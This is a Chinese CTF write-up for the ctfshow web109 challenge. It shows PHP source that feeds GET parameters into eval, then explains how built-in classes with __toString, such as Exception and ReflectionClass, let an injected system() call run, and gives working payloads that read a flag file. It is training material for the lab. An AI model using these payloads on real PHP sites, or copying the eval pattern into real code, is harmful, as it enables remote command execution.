ctfshow web109(php内置类的使用)

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-29 22:02:34

*/


highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
            eval("echo new $v1($v2());");
    }

}

?>

众所周知，如果该对象的类中没有__toString方法，直接echo该对象会报错，如果类中有__toString方法，则会触发__toString方法而不报错。我们用php的内置类（含有__toString方法）来做个如下实验：

我这里在上面随便找一个内置类并编写代码如下：

<?php
    echo new Error(phpinfo());
?>

运行上面代码后，输出了phpinfo的页面。

因此我们的利用点很明确了！

直接上payload：

?v1=Exception&v2=system('cat fl36dg.txt') 
or
?v1=Reflectionclass&v2=system('cat fl36dg.txt')

当然你用其他类也可以咯，只要有__toString函数的内置类即可。

这里插一句话：

PHP变量后面如果紧跟（），则PHP总是将该变量作为函数名进行调用。

这里也就解释了我们v2后面的括号并不影响，因为PHP先运行我们传入的v2函数，然后将返回值作为我们后面括号的函数变量名进行再次调用，这里失败了也无所谓，因为我们的v2函数执行了即可。